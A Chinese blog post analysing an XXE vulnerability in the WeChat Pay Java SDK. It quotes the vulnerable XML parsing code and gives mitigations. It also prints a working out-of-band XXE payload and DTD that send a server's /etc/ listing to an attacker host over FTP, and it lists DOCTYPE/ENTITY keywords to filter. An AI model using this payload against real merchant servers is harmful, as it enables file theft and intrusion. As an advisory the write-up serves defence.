2019独角兽企业重金招聘Python工程师标准>>>

昨日在国外安全社区seclists有一个署名叫Rose Jackcode的白帽子公布了微信支付sdk的一个严重的安全漏洞(xxe漏洞)。攻击者可以伪造一个恶意的回调数据请求(xml格式),读取商户服务器上任意文件,甚至可以执行远程系统命令,导致商户服务器被入侵。

目前微信支付安全团队表示已对该SDK进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。

虽然微信支付官网上的sdk更新了,但是漏洞是存在于商户的网站系统中,需要商户下载最新的sdk对系统进行更新发布(或者看下面的自己修复方案)。因此目前还有大量的微信商户系统存在此漏洞,相关商户需要及时更新。

来看看该微信支付sdk漏洞如何造成的:

什么是xxe漏洞,xxe全称为XML External Entity attack,即XML外部实体漏洞。XML定义的外部实体可以载入本地或者远程的内容。

受影响版本: WxPayAPI_JAVA_v3.zip (之前版本的应该也受影响)

漏洞版本sdk中的README.md出示的例子:

String notifyData = "...."; MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config); //conver to map Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); ....

WXPayUtil里:

public static Map<String, String> xmlToMap(String strXML) throws Exception { Map<String, String> data = new HashMap<String, String>(); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); // 没有xxe防范DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes( "UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); ...}

如何模拟利用此漏洞:

向商家回调的url中模拟post以下xml数据:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/">

<!ENTITY % hxt SYSTEM "http://attack:8080/shell/data.dtd";>

%hxt;

]>

http://attack:8080为攻击者自己搭建的服务器,在data.dtd中写上:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack; '>">

%shell;

%upload;

触发XXE攻击后,商家服务器会把/etc/的内容发送到攻击者的ftp://attack:33上。

不用最新版sdk修复方案:

方案1.

禁用外部实体,在WXPayUtil里

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

下面加上

documentBuilderFactory.setExpandEntityReferences(false);

方案2.

过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

转载于:https://my.oschina.net/passerman/blog/1840218

微信支付sdk被曝xxe漏洞,漏洞原理分析相关推荐

  1. 7月第1周风控关注 微信支付SDK曝XXE漏洞 可伪造订单

    ​易盾业务风控周报每周呈报值得关注的安全技术和事件,包括但不限于内容安全.移动安全.业务安全和网络安全,帮助企业提高警惕,规避这些似小实大.影响业务健康发展的安全风险. 1.微信支付SDK被曝XXE漏 ...

  2. tp6中使用微信支付sdk

    一.下载微信支付sdk 二.将lib文件夹下的文件复制到目录:extend->WxPay 将example文件夹下的WxPay.Config.php文件也复制到:extend->WxPay ...

  3. 微信支付SDK的使用

    在此记录一下微信支付sdk的使用 使用微信支付SDK理所应该去看官方文档,按步骤一步步来就好了,怎么还需要写博客呢? 答案是因为使用支付SDK时,遇到了很多弱智的坑,希望后来人不要和我一样SB就好. ...

  4. 微信支付SDK接入流程梳理

    微信SDK的支付功能接入简单梳理. 首先说一下,你需要的官网都有,但是官网提供的东西不管新旧与否先给你放上去,部分地方提供的链接点击时还提示404,不同的页面提示相同的下载内容(demo)还不一样,表 ...

  5. tp5 微信支付sdk

    接触到微信支付,然而微信官方给出的微信支付sdk用起来不太方便,在原来微信支付sdk上进行了修改,测试过能用,现在我的tp5项目都用这个,分享出来大家研究研究,新手一枚,望大神们能指出错处. git地 ...

  6. 微信支付SDK 中 PHP Certificate Downloader 微信支付 APIv3 平台证书的命令行下载工具 使用教程

    使用环境 在linux 环境中使用 (没有服务器可以使用虚拟机 复制到本地) windows环境很麻烦 使用前准备 商户号.商户证书序列号.商户私匙文件(pem格式).ApiV3密钥 安装好 微信支付 ...

  7. iOS SDK开发系列三之微信支付SDK封装Demo以及xcodebuild简单打包脚本实现

    前言 SDK开发系列文章一 SDK开发系列文章二 之前两个文章介绍了Cocoapods的原理,Xcode环境变量以及动态库和静态库的介绍,这些基本知识就单独抽出来了,方便以后翻阅.看了一遍网上的一些静 ...

  8. Unity接入微信支付SDK

    最近1年转了UE开发,博客更新的比较少,技术栈宽了不少,以后有空尽量多更新,也方便总结记忆 Unity接入微信支付整个过程坑比较多,网上之前的教程要么比较老,要么比较零碎,只能东拼西凑摸索,跑通后还是 ...

  9. 微信小程序开发笔记 支付篇④——基于微信支付SDK实现Java后端接口使用

    文章目录 一.前文 二.微信支付 Java SDK 三.示例 一.前文 微信小程序开发笔记--导读 微信支付-SDK与DEMO下载 先看README.md 二.微信支付 Java SDK 对微信支付开 ...

最新文章

  1. tiny-cnn执行过程分析(MNIST)
  2. WinDbg 调试命令记录二 (基础CLR查看)
  3. 我的第一个React Native App
  4. 网络编程学习笔记(套接口超时)
  5. 第 3-1 课:集合详解(上) + 面试题
  6. mysql limit函数
  7. 重启php软重启_php-fpm 的重启方法(php7.3)
  8. Java中的frontcolor_front的用法总结大全
  9. open office进程总退出问题解决方法
  10. BNB、HT、OKB全面估值分析——平台币还能涨多少倍?
  11. 学与思的关系?(中国文化史)
  12. FPGA实现开根号,仿真通过,算一次需要34个时钟周期
  13. JetBrains各版本全家桶工具 编程开发全套永久软件!IDE也能免费用
  14. 解决:IEDA在plugins里搜不到mybatisx插件
  15. 怎么关闭vivo系统自检_科技资讯:vivo手机中软件的自启动功能怎么关闭
  16. python 从菜鸟到高手 .pdf 下载_Python从菜鸟到高手pdf
  17. Firefly 常用命令
  18. 利用Google Earth Engine看看美国圆形农田区与中国方形农田区
  19. 蚂蚁金服有哪些金融特色的机器学习技术?
  20. mysql split 逗号分隔_mysql split函数用逗号分隔的实现

热门文章

  1. 基因ID命名及相互转换
  2. linux 定时执行php文件
  3. 更新 | gnomAD人群频率库的下载与处理
  4. 苏杭计算机发展,“英才计划”计算机学科大师报告走进苏杭
  5. php获取空间头像图片的方法
  6. IDEA03:数据库CDC、Kafka和连接器Debezium配置
  7. 中国房地产开发商排名百强榜单
  8. 通过ArcGIS对GlobeLand30影像镶嵌拼接并去除黑边
  9. oracle系统视图作用大全
  10. JZ2440(精致2440)开发板 和电脑直接连接(不经过路由器)